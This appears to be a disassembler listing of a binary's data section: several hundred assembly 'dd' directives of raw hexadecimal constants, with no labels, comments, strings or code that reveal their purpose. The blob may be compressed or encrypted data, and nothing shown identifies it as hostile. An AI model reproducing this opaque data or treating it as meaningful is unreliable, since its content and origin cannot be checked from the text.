		dd 3E29FAD2h, 0CB3B1DCDh, 0E5F78184h, 0F08757F1h, 5E00B3ACh
		dd 60E8E022h, 13446661h, 9F0A0h, 0EB080CCBh, 2C05017Bh
		dd 1EF5C90Ah, 99AFE280h, 77BB00BEh, 73E13BF7h, 0D8003686h
		dd 0AD595BC1h, 144352F6h, 848C6785h, 87010D39h,	76C10F93h
		dd 4AD9E8A5h, 953D3400h, 5FCAB7Fh, 4CE00F8h, 8061052h
		dd 0B0009DEDh, 4490FB30h, 146AA55h, 7AE46CF6h, 0E07EECE9h
		dd 5890B05Ch, 271D9805h, 0B04F8C5Ah, 80342BF1h,	8D1E5382h
		dd 0DC1609FFh, 94035C7Dh, 3980B163h, 0C612ED77h, 6E18C732h
		dd 3A8FE8h, 4907EF79h, 0ABB571Dh, 749D2602h, 46F5B914h
		dd 0AC2310E4h, 8CB82415h, 0BF7CF087h, 0C8C034A4h, 3D645739h
		dd 488376h, 0C0F0D001h,	0FC423655h, 0D4006DABh,	8904432Bh
		dd 0E99CD2h, 531AF43Ch,	0BD9792Eh, 2208CA00h, 0F06B1F37h
		dd 3C05077Ah, 5051EAD2h, 0C2EEFE72h, 7C069400h,	0B9752281h
		dd 627D0044h, 854E415Bh, 9100A87Eh, 1DB348B5h, 3C1F9A9Eh
		dd 4001956h, 6F3A05F6h,	0BD50835Bh, 54912ED0h, 2CB23900h
		dd 0F5A6E60h, 247BF832h, 1937C781h, 0ADECCF2h, 80641238h
		dd 0ABB3B815h, 0F565A1h, 22BA9D30h, 4EB0F0A6h, 6C39200Fh
		dd 0BCA980B7h, 61DC3Eh,	41FB5A0h, 0C7E2FC2Dh, 80EEF439h
		dd 2B7E51C8h, 6F3DEDh, 69338F30h, 0C1585A90h, 0EE3E39h
		dd 787299C4h, 0F638B184h, 83742441h, 36980024h,	6BB5D750h
		dd 0EE9DFE02h, 40E09B9Eh, 0F449630Ch, 0BD6238B8h, 0E607DDBFh
		dd 91E7C0h, 216E6BC3h, 5FF27278h, 800CD7Eh, 1DFE6362h
		dd 9AD4B013h, 0A11103ACh, 0C0D3CD1Ch, 0E4EB53F8h, 92EE53Bh
		dd 9894A99Ah, 0BE549Ch,	0F208CBC5h, 0E81C5BBBh,	3189048h
		dd 31FF9284h, 808FB35Dh, 0EB11Ah, 0AD37B323h, 7B9BFDD7h
		dd 0DC09C304h, 0E8CC295Eh, 3BF50B49h, 69871070h, 8128B2D4h
		dd 863CBC60h, 80B1F038h, 212AE503h, 0A87747A9h,	0FB678Ch
		dd 0ED6BFF57h, 0DA3BD087h, 7D149700h, 0C6C58911h, 63CE0BF6h
		dd 350043F7h, 93C10DEDh, 0FA0045E4h, 85619FBBh,	0A3E37Ah
		dd 4DCFC52Ah, 210594Eh,	79524000h, 0BAC087C1h, 91200F8h
		dd 413BAEFBh, 4F1460BFh, 0CA22D1h, 72B411C8h, 3CA827CEh
		dd 73806820h, 0B161569Ch, 0D400B59Fh, 0E982D165h, 7A30ADAh
		dd 0F8641F14h, 3BD31075h, 7C039143h, 168F33E5h,	0BE81F849h
		dd 29740734h, 0D3D53858h, 0D8003EF6h, 5BC33C13h, 1CCCB88Eh
		dd 0E4F382B9h, 27620070h, 0E8FEC535h, 302D8A7h,	805E4318h
		dd 0CA0649ACh, 2B9400A0h, 0ABC3B8Bh, 1CEEB6A8h,	0A419F328h
		dd 590BFA17h, 321BE81Fh, 43E8E889h, 0B822006Dh,	756534EBh
		dd 26008A4Ah, 0F3021ADBh, 7A6159Ah, 13A9CE6Eh, 4FCCA1EDh
		dd 0F0D05CF2h, 7757F00h, 0FC1FA5C4h, 0C90E001Dh, 0CD34C8CCh
		dd 6000C277h, 8E2717BBh, 7425E218h, 0BC3E4AE4h,	897A3823h
		dd 808029B4h, 3BF9CA61h, 0B0A20F5Eh, 0C240F173h, 6972F685h
		dd 0C0B4EE0Eh, 906E00D6h, 1DE8A471h, 0DC7DFC2Eh, 38BBC5ABh
		dd 57008C0Ah, 1FF00D00h, 0DD3D6580h, 9C78005Fh,	61794B34h
		dd 4E091351h, 1D6AFA5h,	56722BA0h, 0A1A01C00h, 7423300Ch
		dd 68FF51EDh, 0B8AC81h,	94F6733Dh, 62008886h, 0E893EE4Fh
		dd 0FAD04DAh, 2B0C36F9h, 4090E187h, 5D4CFBCCh, 79457507h
		dd 5895FA9Eh, 443AC400h, 2EC671B1h, 9FD4BF6Ch, 0FB4F00A0h
		dd 9D90FC2Ch, 1E415602h, 40B1E8DFh, 580500h, 0F5D17FD3h
		dd 592BAA0Fh, 0F200FB7Bh, 0BF060771h, 1B7ED8Ch,	3AC91C85h
		dd 246A902Fh, 0D7484FA8h, 7798128Bh, 90BEDC09h,	480106A0h
		dd 9201ECAEh, 41968A59h, 0F1D8FCA6h, 0F9BF0900h, 1C6E676Ah
		dd 0BB3A0153h, 0FD7669B8h, 62DC2088h, 0E15D7000h, 1B10C114h
		dd 13BF0096h, 0AD5EE802h, 0D079334h, 1936DF82h,	31306A20h
		dd 0B1771A6h, 1B94558Eh, 92B30F00h, 9107F750h, 47142C5Ah
		dd 988DD480h, 469A00F4h, 0EA4C208Ah, 25FE5CF2h,	0DAF31101h
		dd 0A8E635EDh, 392C1EBAh, 0CE710031h, 0F8B23DFDh, 81F98600h
		dd 7B0DE763h, 0D80500D1h, 0CE2012AFh, 0F304C843h, 2C574F1Bh
		dd 7840A4C7h, 9B0B7Ah, 0B83D3FEDh, 0B217A3C4h, 0A6C97202h
		dd 40C2C555h, 378A62h, 0EFD6AD9Ah, 0D740310Dh, 0F9DC20FBh
		dd 28C5101h, 2C6AF043h,	961B70h, 23C82D31h, 2FFC0D14h
		dd 0CB04FF00h, 0D1EA7B73h, 0F4B30F76h, 7440CFDBh, 0EB4675B6h
		dd 0DFF5D507h, 0EDB02BAFh, 0EC5A8C4Eh, 8410242Dh, 6B010C66h
		dd 31003970h, 4290EA16h, 2A211541h, 710DC79h, 0D161EABh
		dd 7E6AA086h, 0C2002A91h, 95F00BDEh, 20CCABF1h,	94380AB0h
		dd 8D3960B9h, 0BED904h,	59E28983h, 881C9E1h, 0ACF0F81Ch
		dd 0E51F7700h, 9C2BADh,	6F0F91B7h, 0E2E0661Bh, 212E44B2h
		dd 5C1908D4h, 0ADCC2B50h, 0E18903BBh, 0FB6C25D9h, 20012970h
		dd 19F5E938h, 0C406730h, 31CDF7E8h, 8988D48Fh, 2668D041h
		dd 0F4DC7E14h, 13AB1554h, 92960070h, 8D4E222Ah,	2F5B3B3Dh
		dd 0E5CC2800h, 95321BAFh, 21503000h, 0B9F9AC3Ah, 4F2526C9h
		dd 71F074Ah, 0F1388099h, 28014A0Fh, 44D851F2h, 9050EB49h
		dd 0A8B696h, 0FB94752Eh, 0C53F4ED6h, 0B92A51Dh,	0E96C5D40h
		dd 3A1CEBB6h, 98393E17h, 0DB9B6580h, 2A345FF1h,	0FE8E4E11h
		dd 0C760A409h, 9BEF3840h, 59E55106h, 1E21DD24h,	40EB89A2h
		dd 2726AF74h, 0E0F03A91h, 0EAA04E02h, 40AABB30h, 1355800h
		dd 0DACED93h, 0D1DFF7C7h, 0AF8BE8D7h, 9404F92Ah, 0E25813Ch
		dd 0A092E8A6h, 96F54705h, 0A02058CDh, 96A7F00h,	5AAAA7EAh
		dd 5F801261h, 0E74E21h,	7F75E8A0h, 67F074CFh, 7BFEBC01h
		dd 0D9FCEF3Ah, 0FEE40E8h, 0E7AF88C8h, 584BB342h, 138EC080h
		dd 120C01FAh, 8868BC38h, 0E3103D8h, 5E23D2AEh, 16C06900h
		dd 7C22DE3Fh, 1DC7799Eh, 0BD91AA3Ah, 93015385h,	0A1EE80CBh
		dd 4600F674h, 0D5A8D057h, 60DE78h, 5E2A4086h, 8E8D89EBh
		dd 349DA507h, 1BB04EB8h, 0D61DF8h, 897FE2C9h, 0B46E1A8h
		dd 0F78F2500h, 227DFD14h, 8D7526h, 0C7DB8C1Fh, 83DEFC1Bh
		dd 2B52EA00h, 18A2F7A9h, 60106060h, 6BC936AEh, 35FFD01h
		dd 0C3B7F5Dh, 0C0F1CBD0h, 0C9383520h, 0A200321Eh, 83F61CDDh
		dd 482A82D7h, 0B53FA507h, 56C43603h, 0B0001146h, 204028F7h
		dd 382358D3h, 0EF03EDB6h, 22D756BFh, 0E23BA800h, 32850B1h
		dd 0FC4B0107h, 0D7706A46h, 0EADFF869h, 0D97D210Bh, 71E907AFh
		dd 0B9CE4CC0h, 0F40E30AAh, 4490AD40h, 37B7F917h, 18E23D00h
		dd 553A94h, 0B83B02CEh,	5D23470Ah, 56299200h, 2EF1C5EEh
		dd 96F28A8h, 0EC580084h, 0EB159EB2h, 955C78BDh,	0D3CF0036h
		dd 0D7E924EDh, 0E5D5382Dh, 7AEE4E81h, 0E819052Eh, 3913B8FFh
		dd 400AF27h, 981AAB46h,	0D94E1783h, 682E00F9h, 10A099F5h
		dd 82CBD600h, 0D026F418h, 1307F2EDh, 0A8DA7Ch, 7A2BA970h
		dd 0FF1C32D6h, 0E0C05CFDh, 0CB3AB186h, 0C6CC0004h, 0A2B4DFAFh
		dd 0C01CD11Ch, 9880D547h, 4A6B2C59h, 66FF0716h,	9039F654h
		dd 0EBAD0C1Eh, 0E01EEB8h, 0B7870BF5h, 43D6E6A9h, 0B08EE364h
		dd 4917FFh, 0AA3E2E5Eh,	8C10D1ADh, 0C97AC202h, 0C0ECF35Fh
		dd 14EBAC49h, 64972384h, 0C4A18800h, 0F4C13977h, 0E622AB00h
		dd 0D44DC914h, 29630126h, 0DE537D16h, 0AACAC8C4h, 996939C0h
		dd 238554h, 6708F1E3h, 44098EE4h, 429BD101h, 5DA24B91h
		dd 0C2BDCC0h, 0C5AE3989h
		dd 4D72617Eh, 0AE98E01h, 64E63A6Bh, 550F9440h, 0CD17B52h
		dd 0A175F62Dh, 20E38A68h, 24004F74h, 43DF255Ah,	0DA5906h
		dd 0D46EB3B9h, 88B43414h, 0C0D37200h, 73BFF098h, 80C40015h
		dd 0D01B873Ah, 0B2002775h, 9B881368h, 637262h, 46D2172Eh
		dd 0BEE47F97h, 0B8254A3Fh, 2AB900F6h, 0A5DC4CDDh, 36A00046h
		dd 0EAD85EE5h, 0F700F112h, 1163F02Bh, 0E698D93h, 0F42167F2h
		dd 6E1DDA60h, 0D43A9BF5h, 0D22B0032h, 0AD0BB166h, 70430655h
		dd 84013AFh, 20FA6B30h,	0F0A406h, 3859C494h, 13439EB8h
		dd 634D6C00h, 0FA832BC2h, 3DE70E8h, 393CFE85h, 181D2809h
		dd 398890Ah, 0D74669h, 0BDFC2133h, 0C06F1DE5h, 0DB037B7Eh
		dd 0B327BC6Ah, 48F6B0h,	46E3E77Dh, 0FFC56CF7h, 500E8F8h
		dd 0A36856E0h, 71A2F29h, 0DF8C6270h, 0BD60506Ch, 7E00E21Dh
		dd 0F9C4B537h, 0F287874h, 6F1CA392h, 0D611EA40h, 0F5EA95A4h
		dd 61BF0801h, 165C3D86h, 81A170h, 0C5986C4Fh, 8EB7C939h
		dd 66321D00h, 1CF01E4Bh, 0F58201E1h, 0D2274C2Ch, 0A440D47Bh
		dd 0C2C7810Eh, 0C0700FCBh, 0F3243BCh, 425C00F0h, 0B3A82DB4h
		dd 0B724C0D8h, 80187172h, 0D3F908h, 0B5CDB44Fh,	446C9DBCh
		dd 9DB6DD3Ah, 70800CE4h, 3CE2E83Fh, 35B70095h, 671BCCEEh
		dd 7F0F2CC2h, 0E05F0D8Bh, 0AA4E1E92h, 0B170880h, 0FB0D78A2h
		dd 79C82067h, 6DF81C22h, 9B0181ACh, 0F9FF779Fh,	4F854068h
		dd 0B700076Eh, 43A6F7ABh, 0FE4CD442h, 7F5B0117h, 21464912h
		dd 3A4D06Dh, 0B3A730C0h, 10900Fh, 6B9EC001h, 2C69D5DBh
		dd 17CF5F01h, 0CACCED35h, 7C2785F0h, 0B459C0A7h, 0FB93FC4h
		dd 958CDE54h, 0A5ADD4A0h, 0B05FEF03h, 80DFDC8h,	8C765D90h
		dd 0A12B1640h, 8BEF104Fh, 21818C3Fh, 0F5A0025h,	0C3E1F3C2h
		dd 0C907AA19h, 1A0291A3h, 0FD7B3303h, 872D2082h, 67803FCCh
		dd 0B02CA4BFh, 8E8F01D6h, 84EC4D42h, 20FBDC1Fh,	0D22DE100h
		dd 0B2E0251Eh, 829100BEh, 47DE1559h, 110037D7h,	918636Ah
		dd 2CD19BACh, 0B167AFh,	0CF0F6C4Ah, 88077B04h, 5ECD7E74h
		dd 9FB36810h, 0FDF70072h, 0F599D41Dh, 0CC028843h, 682EC1EAh
		dd 57B1400Ah, 7DDE00CFh, 0E135E0B4h, 0BE1CAD81h, 9600DB6Dh
		dd 0A3067C63h, 0F693B8B1h, 70A2390Ch, 0E9652E87h, 80B3B02Fh
		dd 45B06F8Ah, 5A4D0500h, 1F0294DEh, 0CE9A00C6h,	6D8C7D1Ch
		dd 0DC0003F6h, 9F5BDAE4h, 3860915Ch, 44801FA0h,	3F5FB7C1h
		dd 0F4001485h, 0F2B5FD73h, 17C96A6h, 0FAC079DCh, 0ECA2844Dh
		dd 82003F44h, 53147F2Bh, 7271A9h, 0F3CA5286h, 6CE5B497h
		dd 4F7AA000h, 44651A76h, 0DE3A0158h, 0DF79C61Ch, 0B782D020h
		dd 0A8BF3201h, 2B1EA2E8h, 7EADFB70h, 2E570321h,	5EEFEB36h
		dd 0ACA601C0h, 1001E4B8h, 284AE89Eh, 26F1CE9Bh,	51614880h
		dd 0DE2A56D3h, 44001D70h, 0DFECD36h, 24326h, 32C6B0FBh
		dd 0BB2DD5FDh, 6EAA4A00h, 0E53C970h, 4160002Ch,	86BA63ECh
		dd 8100D8B4h, 4E2683E1h, 60B3505Dh, 36ED2062h, 0DA3C7A1Ch
		dd 0BE768461h, 0C1808682h, 0D31567h, 0F7970E2Eh, 409385EAh
		dd 0D2537507h, 0DEC03072h, 1F62F432h, 4EEA434Fh, 60A0E638h
		dd 14B46561h, 803ECC01h, 89090E58h, 0C2FCD0h, 6D43602Fh
		dd 0F24E1A30h, 9ECEA500h, 0D11EC183h, 0CA30134h, 931CFF10h
		dd 6480EA6Bh, 155BA243h, 11FD1337h, 88B7E700h, 0EE2906EAh
		dd 8017672h, 3D216560h,	87B74Dh, 6DB4A915h, 0B2D711D6h
		dd 1FF5E00Ch, 218F502Ch, 3900FC44h, 0D8478860h,	227C42C6h
		dd 0E4AB00BFh, 7CB53B7h, 0AF03C5FFh, 75384B42h,	29F90046h
		dd 5E4C5208h, 6F0A12DAh, 5C3BD4EFh, 3CA465Ch, 23B42AA2h
		dd 3789D09Fh, 19170E12h, 45202FDDh, 0C63542A5h,	0C9304900h
		dd 17CEDA70h, 0FDD200C3h, 630F1553h, 0A900CFEBh, 865526D0h
		dd 1DBCCDAEh, 42E4E62Dh, 6FFD1E1Ch, 40A31461h, 0A8DC22D5h
		dd 8AF7B00h, 256790F9h,	0B0BC0019h, 2D359C57h, 55B01E65h
		dd 0F385FC00h, 0F6B5BEF5h, 0A51201D8h, 0C6EEB649h, 1565D8E7h
		dd 1B634F00h, 89393125h, 5A7100DFh, 0F85BA370h,	0E3E6BEEh
		dd 0A25600EFh, 0DB3D8C12h, 7751017Ah, 0C5FA6E2Bh, 0E176603Fh
		dd 78EED3Dh, 0CBDA1E2h,	0DE3C5AE0h, 0C15F869h, 83167322h
		dd 0B7038E11h, 78A0CF6Dh, 2790C0D5h, 7AC500BFh,	94426114h
		dd 0AC98EC2Fh, 0EA6B9700h, 0C66A9695h, 9BB00DEh, 0D5476478h
		dd 741E0D45h, 0BA1922h,	2A1290F0h, 0CFD981h, 0D3A8040Ch
		dd 19F44942h, 0F8001A7Dh, 396FDCA7h, 756951Bh, 5C9EEC9Ch
		dd 0B60D60D9h, 0BC2C3778h, 921EB3C6h, 304B3340h, 0EEDFEE4h
		dd 0D67B7738h, 6EDBF740h, 0AD005AB3h, 0EBBB6B82h, 4827C5h
		dd 7F7B6034h, 0AA5212A1h, 7500B498h, 0B420ED81h, 731A22h
		dd 0E2BC8ACEh, 792E454Eh, 47099500h, 51D8AD3Eh,	883500DCh
		dd 3C6A69FFh, 0ED5A27A6h, 93034EACh, 0BDEB8DE4h, 38B74D8h
		dd 2A3A1A00h, 1037DBDCh, 41930053h, 0F372FD0Bh,	7CE425A9h
		dd 0D7A42700h, 60AC2E9Dh, 5A090017h, 6646F06Dh,	0B2003085h
		dd 0F85DC0FCh, 0FBEFCFh, 611123DCh, 60076501h, 341C9B1Eh
		dd 15D8A800h, 0D44329h,	276EEB0Fh, 95022211h, 5B90C67Bh
		dd 0B19FD07h, 9001238h,	8CDCBAh, 0EEC4DED5h, 428B55C1h
		dd 0F6F0C48h, 277A25FFh, 3757C252h, 0CD92F160h,	61E907A9h
		dd 0F072BA5Bh, 863CD818h, 0F9F5D501h, 6B842C29h, 7463C8h
		dd 83758E2Dh, 0E91C65FCh, 4A95E800h, 0AA26DA08h, 19910285h
		dd 92D4A486h, 2271A40h,	0DFCF2F03h, 1D3ABC2Eh, 1E70E28h
		dd 6F2C861Ah, 844B0091h, 0DFC61EBFh, 0DB96C0D9h, 9370D226h
		dd 0F1D150CFh, 0BD14EF0Ch, 10E99E28h, 0C2D506D6h, 63494150h
		dd 2ACB9301h, 5690788Ch, 30317A29h, 6C83509Ch, 14977994h
		dd 1FE42C0Ch, 0E5445EA0h, 0F65C2017h, 0C95BFB30h, 0D7CD995h
		dd 0B6226C8h, 0F3C6EC79h, 64401F81h, 0C67EC087h, 7808E628h
		dd 0A1E6987Fh, 0D2222260h, 0F8EDCE84h, 0FAEF009Bh, 6AAD3BDCh
		dd 0FCF74323h, 0D3389A02h, 0F6FC808Bh, 0B692A0A1h, 7D0D0F79h
		dd 18C36E4Ah, 3BA04C1Eh, 0A200F8C3h, 0B985C683h, 0DD2CD4h
		dd 0BFDA1CE4h, 0B0CCE10h, 303CA900h, 70311289h,	0C3C800A8h
		dd 9CA6304h, 0DA02208Ch, 0E865F69Eh, 0BC2CC06Bh, 13E4CCh
		dd 867C0FEh, 0A5C2539Dh, 3F98F600h, 64434B89h, 5EB704AEh
		dd 80732174h, 0D129C4B8h, 67886C00h, 0FB4D9312h, 5B160094h
		dd 0EC61F1A5h, 86003E9Dh, 55323BB9h, 0EC39F26h,	81279330h
		dd 8DA5EBC0h, 0DBA02903h, 600DB9Bh, 73A72C55h, 791F89h
		dd 36ABCFBAh, 0D3FE2E7Ch, 0CE003076h, 0ECB35958h, 0DDEEAEh
		dd 6A44BC0Fh, 0FB611CA7h, 69C12700h, 924EAC20h,	0EF040050h
		dd 54B96403h, 0F5003DE3h, 1A5BE114h, 572184h, 0A7018C04h
		dd 2A434563h, 8D546600h, 2E8628EAh, 0A68F0053h,	0E4F9AFF5h
		dd 0AD0133CEh, 0DA7F27C3h, 994041F0h, 1ABCA79h,	0F78A2E6Eh
		dd 9C37C121h, 7AC0B030h, 0F5CBCF3h, 0E1FB0001h,	19FC9D97h
		dd 0CA00E43Ch, 0BFAC2718h, 129D67Fh, 0B3624236h, 60BD02D5h
		dd 9300E03Eh, 0D8E53989h, 1F31AE1h, 52487704h, 0C82C1667h
		dd 0F20053EDh, 0F9077A1Fh, 3FD971h, 1DCC3751h, 0E49404FBh
		dd 5B01A21Fh, 0C697F45Fh, 62BF7700h, 35223DAEh,	8AE910h
		dd 0F31484F0h, 0A500E528h, 89C076F2h, 12293568h, 1E9C891h
		dd 72674440h, 0F4A1E9D7h
		dd 0F2EE4FA3h, 372DD00Bh, 0B80E01E2h, 0E1F807D4h, 34D756Ah
		dd 206BE382h, 0F1A03ED8h, 841744E4h, 0D101912Fh, 0A97CA6E7h
		dd 0C697D8h, 55A23996h,	0A7319A1Fh, 7F155F00h, 0BD859B54h
		dd 0B4F40070h, 58282FA9h, 82EEC189h, 4E48D900h,	25F52EFCh
		dd 392C00CAh, 5DB9287Dh, 0AC0996D7h, 802A1608h,	0D3024BD6h
		dd 0ECCA0066h, 71B56839h, 9D00CD0Eh, 8E25EBE7h,	0F5F722h
		dd 4B2ACA6Ah, 0E91805Dh, 41239F09h, 0BF5C045Ch,	4320B818h
		dd 0BCDC8B16h, 4288A100h, 0DACEFAh, 59CDB2Fh, 0F8C5B714h
		dd 4B00D9E4h, 86A9EB0Ch, 0CD9D22h, 41C32CF0h, 48F3951Fh
		dd 44005872h, 16D85ACCh, 65DF25h, 9A43103h, 0D973EC3Ah
		dd 0F8A5990Eh, 0FD54281h, 0D8CA404Ch, 0C64B00FFh, 0A268D3C0h
		dd 42006B7Ah, 0A70FC9F7h, 1F38AE9h, 0D4E19B13h,	0E874257Ch
		dd 0B80F732Fh, 80426D43h, 0F44C86AFh, 0FFCB00DEh, 0A1D301CDh
		dd 0F8E08D02h, 0AFFC4600h, 0C7A4C1B2h, 0F2D70027h, 76A7DBEh
		dd 3C014C28h, 36FD4F94h, 0FAFDAB39h, 0FA1B7620h, 296600A0h
		dd 4E8374EDh, 0F90F68B4h, 67348875h, 0A16E1714h, 0B25FE336h
		dd 673AC0h, 0F208947Bh,	12E4AA53h, 2B7D707h, 24122EBEh
		dd 7D0460ACh, 0D1DA1F98h, 14103099h, 0A2004ECAh, 8642E7FAh
		dd 0C8272Fh, 3D8FDCA3h,	32843795h, 0B8099400h, 7D0639ABh
		dd 22CE1E1Dh, 4011DD07h, 0C9BAE50Dh, 1A00A42Fh,	16EBAC02h
		dd 0E8C2541h, 0A7542623h, 3900C38Bh, 0CAE1662Dh, 49D1E800h
		dd 0A9936F90h, 3B7A47h,	0CDD59821h, 0DE4CEAABh,	0C7402300h
		dd 58A4AF55h, 613F0044h, 685333A0h, 190005D8h, 0C75E9ED3h
		dd 3E482Bh, 7C60974Dh, 0E6EA1645h, 7005298h, 68F378CAh
		dd 148A9ABh, 0A7593B3Dh, 0C83A3437h, 8C004F88h,	7D968DDCh
		dd 9B5614h, 0B77490E8h,	7CA1E7F6h, 0CF008CECh, 3B315483h
		dd 7BDD65E1h, 420C01AEh, 8B0BA2AFh, 284F8D0h, 99783600h
		dd 0C2507BFAh, 0C84C00DDh, 0BC9E25D6h, 0F2E42E07h, 969C7303h
		dd 0DBB5048Eh, 92D3B0E5h, 0A1D10091h, 58F226E4h, 2100BEBBh
		dd 0C6194266h, 161F56Dh, 59F3F141h, 0FC1A2848h,	0BE00BC1Fh
		dd 0FF874C71h, 7AAACBh,	69C65A93h, 0C4DA452Bh, 0A62D700h
		dd 13837782h, 207D00D6h, 0FE0E96A5h, 44B0261Dh,	0FF785F24h
		dd 99F59400h, 56CB8C5h,	0C184D575h, 6303BE46h, 0BDE86088h
		dd 87F5BE00h, 0F48ACEh,	0C28019E3h, 0AD2A5F5Eh,	0CABB7D01h
		dd 2E25B699h, 16AD3ECh,	3E6C8984h, 0F0B87E74h, 1E00BA36h
		dd 0B6A2E05Bh, 5E3328h,	0DE62F37Dh, 7A702B37h, 0FAC23803h
		dd 8881E6h, 14632C20h, 2D291994h, 99FBDB00h, 9DEE82C3h
		dd 95B20FB4h, 14005205h, 2F555CA3h, 0E91CAA98h,	3B804390h
		dd 7F99F417h, 182E0ADh,	7976E46Fh, 0D6B35310h, 57D75B40h
		dd 0E1E85F00h, 0FA1F4618h, 65070068h, 1C4F7313h, 0D2008F35h
		dd 800D951Eh, 0D51B85h,	2CFCE119h, 0BE0C1F18h, 0AC00F375h
		dd 0F7DC2B57h, 766DCCh,	5EEB69B9h, 0C69960BFh, 0F89A700h
		dd 0AE5C4E66h, 5F270090h, 3277E97Eh, 0F7003147h, 74FAAF0Dh
		dd 7A7803Eh, 6A30AD12h,	65EE90BDh, 0BF00F2FBh, 963AC4FCh
		dd 0D02AB7h, 0BC2875F8h, 0B63F89B0h, 0FA1AEE07h, 7C508F3Bh
		dd 0F34ECh, 5F35C44Eh, 0A280523Fh, 705E4800h, 0C2CB4A8Fh
		dd 0D75C003Bh, 249B23C8h, 6F005DADh, 0B4504B7Eh, 1C9939h
		dd 0F63ADFEFh, 8EAC86Eh, 0B39C0D03h, 42608Dh, 0F73D9720h
		dd 21761F26h, 152B6201h, 296F51E4h, 1EC5AFCh, 0D60EF38Eh
		dd 60E8EDCFh, 0C40048B4h, 32E28BA4h, 0B718CCh, 4417DA79h
		dd 491C3513h, 2E8C1F01h, 0F3BC04DBh, 39936C4h, 396FB543h
		dd 0E8E831E6h, 0A8C049AFh, 0EFE0332Bh, 7D728Ah,	80377620h
		dd 0D22AEED1h, 3BE7F200h, 0B60FFF04h, 7FCC011Eh, 0E519C5E6h
		dd 0A7102034h, 0AA3FA2EEh, 5C8000E3h, 362AF3B5h, 9221C85h
		dd 0EBB40084h, 646E270Ch, 0F14BF417h, 0CB350BEBh, 10280000h
		dd 0EF00A3A0h, 72534FECh, 0D08815h, 0FDEB25B7h,	0DCDE1016h
		dd 0F6F75000h, 21ACB526h, 38AA00EDh, 0AB6B9B8Fh, 11004CDBh
		dd 6F2789FAh, 1DE703h, 6A343EE5h, 36616C7Fh, 40AFB300h
		dd 0C67145B0h, 0DAF400E4h, 16E635Dh, 0D64C99DCh, 82D43060h
		dd 110249h, 0E99EBBD5h,	0BE1BFE03h, 51B64800h, 0CA97EF3Eh
		dd 7590C6h, 0DE1C14C4h,	2A1F93B4h, 0D7E55B1Eh, 92D33F5Dh
		dd 8F5A2600h, 0D3DEF6h,	936CD2F4h, 0D024EF04h, 2341B00h
		dd 0A4B331BBh, 3CDA0026h, 93358D55h, 1217F727h,	0E800949Fh
		dd 0AE6631BAh, 9899004Bh, 1325B1E2h, 7E00601Eh,	0FDECD0B4h
		dd 0EE3F12Eh, 0EBB7451Fh, 0C5968E7Dh, 10F7C720h, 3F73D16Bh
		dd 86B03D00h, 0BC4DE8A6h, 9C7293h, 69DBF68h, 91C0295h
		dd 5C72920Fh, 83CB4013h, 61C1ADh, 0AE8BB7DCh, 0EAA37D1Bh
		dd 0F839A8FCh, 0E5C701B1h, 50A9C297h, 613CD8h, 0B521F570h
		dd 0D17FE8B2h, 4028F4F4h, 400B09Ah, 0F096208Dh,	0A327BEh
		dd 0DAF7CEB8h, 9EB68432h, 0D6570B00h, 0FB808CC3h, 48C11F4Bh
		dd 0B46ABAh, 0F296DF81h, 3F8EBC31h, 80B8A377h, 2072307h
		dd 95DF3C48h, 0D83DF3B0h, 39F720A1h, 5F80E73Ah,	0FB141E4h
		dd 0A2142EB8h, 2A0BB1Bh, 0EA5C644h, 80844251h, 0BE77D68Ah
		dd 1C870014h, 9CB00692h, 1B3B0D66h, 0DF5C42h, 3613D98h
		dd 0BA2BE9Dh, 0B87FB5D8h, 0B940330Eh, 3C8490EDh, 43037EC0h
		dd 0F148C5h, 59A71AF0h,	6A66FDCBh, 0EA503600h, 0BFED9705h
		dd 0EA65B842h, 8A5403DEh, 0E7E83F1Dh, 0B94CE0E7h, 442CB088h
		dd 8205902Ah, 802826CFh, 0FA84B0ADh, 8D570020h,	0E9D5A230h
		dd 0DF000E11h, 183735CDh, 0BA25C4h, 8350AEA0h, 27746CF9h
		dd 71618105h, 688088D3h, 0ED4E70h, 0D6E9FE62h, 3CC5B7F7h
		dd 5F127500h, 0FADDA07h, 0B19025h, 388A442Ah, 4F238359h
		dd 2D1AFA0Eh, 675FA06Dh, 0C7BCA8h, 6F35F116h, 0DE549F82h
		dd 7E025673h, 0DA5B51B7h, 0CCA44012h, 0F2860048h, 3F5EE7D8h
		dd 0C800FDFAh, 413C7C65h, 322198h, 2A8120CAh, 7DEC1184h
		dd 0A892FA60h, 0A9DBA1h, 2632C6D2h, 693835FEh, 0C7AF0E1Ch
		dd 0A0395980h, 71EF7Dh,	0E0FBA322h, 0A74E64C3h,	2B16700h
		dd 0F85E1284h, 0E4DB0905h, 4465573h, 0DF073E00h, 0B3C1895Ah
		dd 38A2428Ch, 8E03F9F0h, 0E2758DF1h, 0FC1A0016h, 0E412AB86h
		dd 190060D1h, 0D4DC3211h, 0EE5742h, 0D8626823h,	7AE74803h
		dd 0FCA8DFA3h, 1025FACFh, 23087C1Ah, 15F980ECh,	0FCBC9340h
		dd 0A5BD9002h, 6072B212h, 0CB1974h, 6A419DF3h, 0FEB6EF2h
		dd 0D2E6FC2Eh, 4944F802h, 54ACE0C9h, 9FF30B94h,	68A33A1Ch
		dd 7C81BB0Ch, 88670E8h,	0ED930700h, 2BC389D2h, 0B7650FA6h
		dd 5BE0DDFCh, 0E48603A9h, 2228B103h, 0A125CD35h, 0A03A4737h
		dd 0DB1C2422h, 0A2921288h, 0A8E84100h, 612FF9h,	4AAF44D2h
		dd 9F6CC258h, 5FA1FA00h, 4F5728D6h, 77001FBh, 0E3EA99E9h
		dd 0E40AF443h, 0BA74900h, 93592B6Bh, 446C1995h,	0D00410F8h
		dd 0ED00E50Eh, 7B257AC4h, 2E27797h, 7108E1E4h, 0BC40CEC0h
		dd 0A44BB6A9h, 0DFCE030h, 70541CE6h, 8305816Dh,	0C85BD301h
		dd 0DCFF1DEDh, 761CC568h, 800376Ah, 0C3308943h,	2B121749h
		dd 0A3F0024h, 0C0BA3D15h, 5626B600h, 0CC78FAAEh, 0D9E73AA5h
		dd 5CD5AC00h, 0C7AD3743h, 5B2FD00h, 0B4B517B6h,	87F50015h
		dd 0C48A1091h, 340045F8h
		dd 3BCC58F3h, 47DDCAh, 0AB2BF1ECh, 8C4041F7h, 92213Bh
		dd 75650CA4h, 98D70257h, 9555CE9h, 97002539h, 49F1B48Ch
		dd 2A00B9B0h, 7FBB8809h, 785BE1h, 2D056F94h, 38CC69A3h
		dd 0C5E31500h, 0E4DD4611h, 0A9A13EB2h, 0BF67B880h, 73B68121h
		dd 273D9F00h, 41F0B84h,	60200E86h, 0A0806EA2h, 0B487B3C8h
